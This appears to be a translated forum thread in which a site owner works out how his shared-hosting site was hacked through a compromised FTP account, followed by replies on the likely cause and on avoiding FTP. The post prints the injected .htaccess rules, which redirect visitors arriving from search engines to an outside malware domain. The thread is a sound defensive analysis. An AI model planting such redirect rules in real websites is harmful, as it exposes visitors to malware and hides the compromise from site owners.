Disséquer une attaque de site Web via un compte FTP compromis

Mon site a été piraté et à ce stade, je connais certains détails, mais je ne sais pas exactement comment cela s'est produit ou comment l'empêcher à l'avenir. J'ai besoin de votre aide pour disséquer l'attaque afin que je puisse l'empêcher de se reproduire. C'est un peu long, mais je veux m'assurer de donner suffisamment d'informations pour aider à résoudre le problème.

Voici ce qui s'est passé.

Il y a quelques semaines, j'ai reçu un e-mail de ma société d'hébergement, GoDaddy, me disant que mon site utilisait trop de ressources et qu'ils s'attendaient à ce qu'une requête MySQL soit le coupable. La requête en question était une requête de recherche contenant 5 à 6 termes. La façon dont je l'avais configuré, plus vous cherchiez de termes, plus la requête devenait complexe. Aucun problème. Je l'ai corrigé, mais en même temps, GoDaddy a également temporairement fermé mon compte et il a fallu environ 3 jours avant que tout ne redevienne normal.

Suite à cet incident, le trafic de mon moteur de recherche a chuté de façon spectaculaire, environ 90%. Cela a été nul, je n'y ai rien pensé, l'écrivant dans le fiasco de la requête et pensant qu'il reviendrait à temps lorsque Google aurait réexploré le site. Ce ne fut pas le cas.

Il y a quelques jours, j'ai reçu un e-mail d'un utilisateur me disant que mon site hébergeait des logiciels malveillants. J'ai chargé le site directement dans mon navigateur, mais je n'ai rien vu injecté dans la page. Ensuite, j'ai vérifié mon fichier .htaccess et j'ai trouvé ce qui suit:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Mignonne. Et un peu sournois. Naviguer directement vers le site à partir de la barre d'adresse ou d'un signet, ce que je fais habituellement, chargerait le site normalement. Il est rare que je me rende sur mon site via un lien provenant d'un moteur de recherche, c'est pourquoi le piratage est resté non détecté aussi longtemps. Le malware n'a pas non plus été hébergé directement sur mon site.

Une recherche rapide a montré que d'autres personnes avaient également le même problème, bien que je soupçonne qu'il y en a beaucoup plus qui ne l'ont pas encore détecté. La plupart des recommandations consistaient à passer aux dernières versions du logiciel, à changer les mots de passe, etc.

Étant donné que j'utilise mon propre système de gestion de contenu personnalisé et non l'omniprésent Wordpress, j'ai creusé un peu plus. J'ai scanné tous mes fichiers pour les fonctions communes utilisées dans les exploits PHP: base64_decode, exec, shell, etc ... Rien de suspect n'est apparu et aucun fichier supplémentaire n'était présent.

J'ai ensuite vérifié l'historique du gestionnaire de fichiers de GoDaddy et découvert que le fichier .htaccess a été modifié à la même date que lorsque ma requête de recherche a été accusée d'utiliser trop de ressources du serveur. Ce pourrait être une coïncidence malheureuse, mais je ne suis pas complètement sûr. La redirection dans le fichier .htaccess ne semble pas gourmande en ressources et la requête était suffisamment complexe pour qu'elle aurait pu être gourmande en ressources.

Je voulais être sûr que mon code n'était pas le problème, j'ai donc vérifié les journaux de trafic pour une activité suspecte au moment où le fichier .htaccess a été modifié, mais je n'ai vu aucune activité GET ou POST qui semblait anormale ou semblable à un tentative de piratage.

Enfin, j'ai demandé les journaux FTP à GoDaddy et j'ai constaté qu'il y avait un accès FTP non autorisé au moment où le fichier .htaccess a été modifié. J'étais en vacances à l'époque, avec mon ordinateur physiquement éteint, et il n'y a personne d'autre avec des identifiants d'accès. Il semble que celui qui a utilisé FTP ait utilisé l'utilisateur FTP principal pour le compte, mais avec une IP de 91.220.0.19, qui semble provenir de Lettonie .

Sur l'hébergement partagé, il semble que GoDaddy attribue automatiquement un nom d'utilisateur FTP principal en fonction de l'URL du site. C'est extrêmement prévisible, ou du moins, c'était lorsque j'ai configuré mon compte d'hébergement. Je me suis inscrit pour la première fois pour le compte d'hébergement il y a plusieurs années, donc il a peut-être changé, mais d'après ce que je me souviens, je n'ai pas pu choisir le nom d'utilisateur FTP principal. Actuellement, vous ne pouvez pas non plus modifier le nom d'utilisateur et il semble que GoDaddy ne puisse pas non plus, sauf si vous annulez votre compte et démissionnez. Bien que vous puissiez créer, supprimer et modifier d'autres utilisateurs FTP, l'utilisateur FTP principal ne peut pas être supprimé. Seul le mot de passe peut être modifié.

À l'exception du nom d'utilisateur FTP principal, toutes les informations d'identification d'accès au site, à la base de données, à l'administrateur et au compte sont du charabia, des noms d'utilisateur et des mots de passe aléatoires qui ressemblent à ceux de votre chat sur votre clavier. Ex: lkSADf32! $ AsJd3.

J'ai soigneusement analysé mon ordinateur à la recherche de virus, de logiciels malveillants, etc. au cas où ce serait le point faible du lien, mais rien ne s'est produit du tout. J'utilise un pare-feu, un programme antivirus et j'essaie de prendre des habitudes de navigation sécuritaires.

Lorsque je mets à jour mon site, j'utilise Core FTP LE et une connexion SSH / SFTP. Le compte d'hébergement est une configuration Linux.

En discutant avec le support technique de GoDaddy, ils ne savent pas comment le mot de passe FTP a été compromis. Sur l'hébergement partagé, ils ne peuvent pas placer un bloc IP au niveau de l'utilisateur FTP. Ils ne peuvent pas non plus modifier le nom d'utilisateur FTP principal. Quand j'ai demandé s'ils avaient une protection par force brute autour de l'accès FTP, la technologie ne semblait pas sûre au début, mais a ensuite dit qu'ils l'avaient fait après l'avoir reformulée plusieurs fois. Cependant, je pense que je me souviens avoir posé la même question lors d'un appel précédent et avoir entendu que GoDaddy n'avait pas de protection par force brute sur l'accès FTP. À ce stade, je ne sais pas s'ils le font ou non.

J'ai changé tous mes identifiants d'accès à tous les niveaux et j'ai également interdit l'adresse IP lettone en utilisant le fichier .htaccess (cela ne fera probablement pas de différence s'ils utilisent FTP), mais je ne sais toujours pas comment le FTP le mot de passe a été compromis pour commencer.

Je suis assez certain que le problème n'était pas avec mon code (même s'il l'était, les informations FTP n'auraient pas dû être exposées) ou avec mon ordinateur. Ce que je soupçonne, mais je ne sais pas comment le prouver, c'est que le mot de passe FTP a été forcé brutalement car le nom d'utilisateur était prévisible. L'attaque par force brute aurait également pu coïncider avec les ressources du serveur utilisées (blâmées sur ma requête), mais je ne connais pas suffisamment le côté technique des serveurs pour savoir si c'est possible ou même probable.

Maintenant, j'ai l'impression d'être au bout de ce que je sais quoi faire. Je voudrais être en mesure de comprendre comment l'attaque a été menée et comment la prévenir, donc si vous avez d'autres idées sur les vecteurs d'attaque, les diagnostics qui pourraient être exécutés ou les mesures de sécurité supplémentaires, je vous serais très reconnaissant. Je suis plus que disposé à changer d'hôtes ou à abandonner l'hébergement partagé, mais je veux m'assurer que je peux empêcher que cela ne se reproduise.

Aidez-moi, Obi-Wan Kenobi ...

Quelque chose de familier lors de la lecture de votre message. Ensuite, cela m'a frappé: je l'avais déjà vu, il y a plus d'un mois, en essayant d'accéder à un site pour un jeu. Voir ici - même comportement, l'action de redirection prise uniquement sur les référents des moteurs de recherche.

Le nom de domaine de votre .htaccessordinateur vous semblait familier, car l'antivirus de mon ordinateur personnel m'avait fait du bruit il y a quelques semaines.

Et, vous ne le savez pas, l'hébergeur du site sur lequel j'ai observé cela? Allez papa.

Je ne pense pas que vous ayez été forcé par la force ou que votre mot de passe ait été compromis par une faute de votre part; Je pense que GoDaddy était celui compromis ici. Et je ne les mettrais pas de côté pour stocker les mots de passe FTP en texte brut. Un peu plus de fouilles ont trouvé cet article suggérant la même chose; la protection contre la force brute peut être le moindre de leurs problèmes.

Facile! N'utilisez pas FTP. Il transmet les informations d'identification en texte brut et transmet toutes les données en texte brut. C'est l'un des moyens les moins sûrs de transférer des fichiers. Si votre hôte ne prend pas en charge d'autres méthodes, recherchez un nouvel hôte.